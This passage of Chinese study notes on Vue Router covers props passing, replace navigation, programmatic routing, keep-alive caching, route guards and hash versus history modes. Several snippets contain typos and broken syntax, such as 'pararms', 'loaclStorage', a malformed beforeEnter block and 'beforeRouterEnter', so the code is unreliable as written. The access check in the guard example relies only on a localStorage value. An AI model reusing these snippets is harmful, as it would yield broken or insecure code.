    props:{ a: 1, b: "hello" }, // 只能传递固定的数据
    
    //第二种写法:props值为布尔值,若布尔值为真就会把该路由接收到的所有params参数以props形式传递给Detail组件
    props:true, // 只能传递params参数
        
    //第三种写法:props值为函数,且参数可以接收到$route,返回值以props形式传递给Detail组件
    props($route){
       return{
          // 将params参数以props形式传递
          id:$route.params.id,
          title:$route.params.title
          // 将query参数以props形式传递
          //id:$route.query.id,
          //title:$route.query.title  //可以传递params/query参数
       }
    }
}
  1. 在路由组件中接收props传递的数据
js
props:["id","title"]

tips:

若使用的是params参数传递的数据,使用 props:true 布尔值写法最为简便(但只能传递params参数)

若使用的是query参数传递数据,应使用函数写法

4.6.11 router-link的replace属性
  1. 作用:控制路由跳转时操作浏览器历史记录的模式
  2. 浏览器的历史记录有两种写入方式:分别为 pushreplacepush 是追加历史记录,replace是替换当前记录。路由跳转时默认为 push
  3. 若何开启 replace 模式:
vue
<router-link replace to='xx'>News</router-link>

replace:替换掉上一次记录为本次记录

push:将本次记录放入浏览器的历史记录栈顶(默认)

4.6.12 编程式路由导航

作用:不借助 router-link 标签实现路由跳转(router-link标签最终会转换为 a 标签),而是为指定的标签绑定回调事件,在回调函数中实现路由的跳转

核心API:

​ this.$router.push({option})(以push的方式跳转路由,option与to的对象形式相同)

​ this.$router.replace({option})(以replace的方式跳转路由 )

​ this.$router.back()(浏览器历史路由倒退一步)

​ this.$router.forward()(浏览器历史路由前进一步)

​ this.$router.go(n)(浏览器历史路由前进或后退n步)

全局使用了路由插件并在创建Vue时传入了router配置,在所有的组件中都有了 $router和$route 属性

vue
<!-- 使用按钮标签实现路由跳转 -->
<button @click="pushShow(item)">push查看</button>
<button @click="replaceShow(item)">replace查看</button>
<router-view></router-view>

<script>
methods:{
    pushShow(item){
        // 以push的形式跳转路由
        this.$router.push({
            name:"xiangqing",
            pararms:{
                id:item.id,
                title:item.title
            }
        })
	},
    replaceShow(item){
        // 以replace的形式跳转路由
        this.$router.replace({
            name:"xiangqing",
            params:{
                id:item.id,
                title:item.title
            }
        })
    }
}
    
this.$router.back(); // 路由后退
this.$router.forward(); // 路由前进
this.$router.go(-2); // 路由后退2步
this.$router.go(n); // 路由前进2步
</script>
4.6.13 缓存路由组件

作用:让不展示的路由组件保持挂载,不被销毁(默认当路由组件不展示时会被销毁,下次展示重新进行挂载)

用法:(使用 keep-alive 标签包裹 router-view 标签,并使用 include 指定缓存组件名)

vue
<keep-alive :include="['News','Message']">
	<router-view></router-view>
</keep-alive>

注意:要在展示组件的 router-view 标签外包裹 keep-alive 标签,并使用 inclue 指定要缓存的组件名,不写 include 默认缓存 router-view 展示的全部组件

tips:当前路由的上一级路由切换时,将会销毁当前一级路由的全部组件,包括缓存组件

4.6.14 两个全新的生命周期钩子

作用:路由组件独有的的两个生命周期钩子,用于捕获路由组件的激活状态

具体名字:

  1. activated 路由组件被激活(展示)时触发
  2. deactivated 路由组件失活(不展示)时触发
vue
<!-- 当前路由组件被激活时调用 -->
activated(){
  <!-- 在路由组件被激活时开启定时器 -->
  this.timer = setInterval(()=>{});
}

<!-- 在路由组件失活时调用 -->
deactivated(){
  clearInterval(this.timer);
}

activated,deactivated 与 mounted,beforeDestroy 的区别:

activated,deactivated :是在路由组件展示与隐藏时被触发,不影响路由的缓存

mounted,beforeDestroy:是在路由组件挂载和销毁时被触发,当路由组件被缓存了隐藏时就不会被销毁

4.6.15 路由守卫

作用:对路由进行权限控制(cookie,session,token)

分类:全局守卫,独享守卫,组件内守卫

  1. 全局守卫
    1. 全局前置守卫 router.beforeEach(callback) :在初始化,每一次路由切换前被调用
    2. 全局后置守卫 router.afterEach(callback):在初始化,每一次路由切换后被调用

src/router/index.js

js
const router = new VueRouter({
  routes:[
    ...
      {
        name:"details",
        path:"detail",
        component:"Detail",
        meta:{  // 保存一些自定义数据
           isAuth:true, // 是否需要进行权限校验
           title:"详情", // 路由标题
        }
      }
      ...
  ]
});

// 1.前置路由守卫
router.beforeEach((to,from,next)=>{
    // to:要跳转路由的信息,from存储当前路由信息
    if(to.meta.isAuth){ // 判断是否需要进行权限校验
       if(localStorage.getItem("school") === "atguigu"){ // 从浏览器本地存储获取数据进行判断
           next(); // 校验成功再进行路由跳转
       }else{
           alert("用户校验失败")
       }
    }else{
        next();
    }
})

// 2.全局后置路由守卫
router.afterEach((to,from)=>{
    // 当路由切换成功后再执行
    document.title = to.meta.title || "Vue"; // 设置页面标题
})

export default router;
  1. 独享路由守卫 beforeEnter

    某一个路由所独享的路由守卫

    作用:在进入该路由前调用

js
....
{
	name:"xinwen",
    path:"news",
    component:News,
    meta:{
        isAuth:true,title:"新闻"
    },
    // 独享路由守卫
    beforeEnter((to,from,next)=>{
        if(loaclStorage.getItem("school")==="	atguigu")
      next()
    })else{
        alert('校验失败');
	}
}
....

独享路由守卫只有前置路由守卫,无后置路由守卫,可以配合全局路由守卫进行使用

  1. 组件内路由守卫
    • 进入守卫 beforeRouteEnter :通过路由规则进入该组件时被调用
    • 离开守卫 beforeRouteLeave :通过路由规则离开该组件时被调用
js
// 进入守卫
beforeRouterEnter(to,from,next){
    ....
    next();
}
// 离开守卫
beforeRouterLeave(to,from,next){
    .....
    next();
}
4.6.16 路由器的两种工作模式

路由器的两种工作模式:hash模式,history模式

  1. 对于一个 URL 来说,什么是 hash 值?

    # 及其后面的内容就是 hash 值

  2. hash值不会包含在 HTTP 请求中,即:hash值不会带给服务器

  3. hash模式(默认):

    1. 地址中永远带着 # 号,不美观
    2. 若以后将地址通过第三方手机 app 分享,若 app 校验严格,则地址会被标记为不合法
    3. 兼容性较好
  4. history模式(常用):

    1. 地址干净,美观
    2. 兼容性和hash模式相比略差
    3. 应用部署上线时需要后端人员支持,解决刷新页面服务端404的问题
  5. 修改路由器的工作模式

    js
    export default new VueRouter({
      // mode:"hash", // 默认路由器工作模式为 hash 地址中有 #
      mode:"history",// 更改路由器的工作模式为history
        ...
    })

tips:简单项目部署

  1. npm run build 打包代码(生成包含html,css,js..的dist文件夹)
  2. 使用 nodejs +express (创建项目)搭建服务器 将打包生成的资源放在项目的静态资源目录下

使用 history 模式项目部署时出现的问题,由于地址栏中出现了前端的路由,浏览器刷新时向后端发送请求携带前端的路由返回404,需要后端工程师进行处理(nodejs可以使用 connect-history-api-fallback 中间件进行解决

4.7 Vue UI 组件库

4.7.1 移动端常用的 UI 组件库
  1. Vant https://youzan.github.io/vant
  2. Cube UI https://didi.github.io/cube-ui
  3. Mint UI http://mint-ui.github.io
  4. NutUI https://nutui.jd.com
4.7.2 PC 端常用的 UI 组件库
  1. Element UI https://element.eleme.cn
  2. IView UI https://www.iviewui.com
  3. Ant-Design https://www.antdv.com/docs/vue/introduce-cn/

tips:

根据官方说明文档进行使用